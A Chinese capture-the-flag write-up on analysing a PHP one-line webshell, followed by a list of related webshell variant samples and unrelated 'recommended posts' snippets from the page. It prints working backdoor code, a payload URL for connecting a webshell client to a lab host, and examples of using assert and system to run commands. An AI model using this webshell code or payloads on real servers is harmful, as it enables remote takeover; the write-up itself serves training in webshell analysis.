一、访问链接

二、下载系统源码后直接放到D盾里扫描,扫到后门文件

三、查看该木马文件

<?php error_reporting(0); $_GET['POST']($_POST['GET']);?>

1.error_reporting(0);      关闭错误报告

2.$_GET['POST']($_POST['GET']);     一句话木马,GET传入POST值,再将密码:GET以POST请求方式传到后台

因此构造payload:http://219.153.49.228:41996/www/cn-right.php?POST=assert,密码为GET  连接菜刀,字符编码:utf-8

 

PHP有很多危险的函数如:eval、system、assert等,那么我们可以使用这些危险的函数来达到后门的目的:

eval('phpinfo();');  //eval() 把字符串作为PHP代码执行 echo system('dir'); //执行外部程序,并且显示输出 assert('phpinfo();');// 如果参数是字符串,它将会被当做 PHP 代码来执行 assert(phpinfo()); //assert参数不加引号,也可以执行哦

好了,看到解题思路里都是用POST=assert,那为什么不用POST=eval呢?
再看一个例子:


$str='assert'; $str('phpinfo();');  //正常执行 $str='eval'; $str('phpinfo();'); //Fatal error: Call to undefined function eval() in D:phpStudyPHPTutorialWWW1.php on line 9  报错了 $str='system'; $str('cd');  //正常执行

可看到,eval并不支持可变变量形式,除了eval,还有echo、print、unset、isset、empty、include、require等语句,所以这里不能使用POST=eval形式,因为eval不支持可变变量形式。
也可以构造如POST=system。post里面为cmd/shell命令,如GET=dir。通过shell命令操作也可以得到key值,当前你要用eval,可以用shell命令生成一个一句话后门即可。

四、在/www/html找到KEY

WebShell代码分析溯源(第1题)墨者学院的更多相关文章

  1. WebShell代码分析溯源(第1题)

    <?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> assert,是php ...

  2. WebShell代码分析溯源(一)

    WebShell代码分析溯源(一) 一.一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二.代码分析 1.调整代码格式 <?php $_ ...

  3. WebShell代码分析溯源(十一)

    WebShell代码分析溯源(十一) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ( ...

  4. WebShell代码分析溯源(十)

    WebShell代码分析溯源(十) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST[' ...

  5. WebShell代码分析溯源(九)

    WebShell代码分析溯源(九) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e', ...

  6. WebShell代码分析溯源(八)

    WebShell代码分析溯源(八) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr= array('test', $_REQUEST['POST']);uasor ...

  7. WebShell代码分析溯源(七)

    WebShell代码分析溯源(七) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(ba ...

  8. WebShell代码分析溯源(六)

    WebShell代码分析溯源 一.一句话变形马样本 <?php call_user_func('assert', $_REQUEST['assert']); ?> 二.代码分析 1.分析代 ...

  9. WebShell代码分析溯源(五)

    WebShell代码分析溯源(五) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($ar ...

随机推荐

  1. 3.1Python的判断选择语句

    返回总目录 目录: 1.if单分支语句 2.if else 双分支语句 3.if elif ...else多分支语句 4.if 嵌套语句 判断语句总览: (一)if单分支语句: 语法: if 条件: ...

  2. Spring线程池配置模板设计(基于Springboot)

    目录 线程池配置模板 基础的注解解释 常用配置参数 配置类设计 线程池使用 ThreadPoolTaskExecutor源码 线程池配置模板 springboot给我们提供了一个线程池的实现,它的底层 ...

  3. python提示警告InsecureRequestWarning

    在Python3中使用以下代码报错: import requests response = requests.get(url='', verify=False) 错误代码如下: InsecureReq ...

  4. Universal-Image-Loader源码分析(一)——ImageLoaderConfiguration分析

    UIl与Volley一样是非常古老的框架,UIL实现了从网络获取图片,对图片进行缓存,以及根据个性化的设置来将图片加载到ImageView上. 这篇文章 主要分析UIl在初始化配置的源码 UIL初始化 ...

  5. c# winform 自动升级

    winform自动升级程序示例源码下载  客户端思路: 1.新建一个配置文件Update.ini,用来存放软件的客户端版本: [update] version=2011-09-09 15:26 2.新 ...

  6. 6、JVM--类文件结构(下)

    6.4 字节码指令简介 Java虚拟机的指令由一个字节长度的.代表着某种特定操作含义的数字(称为操作码,Opcode)以及跟随其后的零至多个代表此操作所需参数(称为操作数,Operands)而构成.由 ...

  7. windows下一根数据线玩转树莓派zero(w)

    买了个树莓派zero w,想着用一根普通micro数据线达成 供电+ssh+通过usb共享网络+远程桌面 的目标 通过用静态ip免去了用benjour的连接不稳定方法,下面开始细说 需要的硬件: 树莓 ...

  8. ethereumjs/ethereumjs-wallet

    Utilities for handling Ethereum keys ethereumjs-wallet A lightweight wallet implementation. At the m ...

  9. JAVA框架 Spring 依赖注入

    一:介绍 情景:我们在给程序分层的时候:web层.业务层.持久层,各个层之间会有依赖.比如说:业务层和持久层,业务层的代码在调用持久层的时候,传统方式:new 持久层类. 进而进行调用,这种方式会导致 ...

  10. C++之C++的词法单位

    C++的字符集 ASCII码字符集是计算机中的常用字符集.它包括英文字母及阿拉伯数字等128个字符,存储一个ASCII码占用一个字节单元. 由于汉字处理的需要,又出现了汉字国标码等对应于不同语言的字符 ...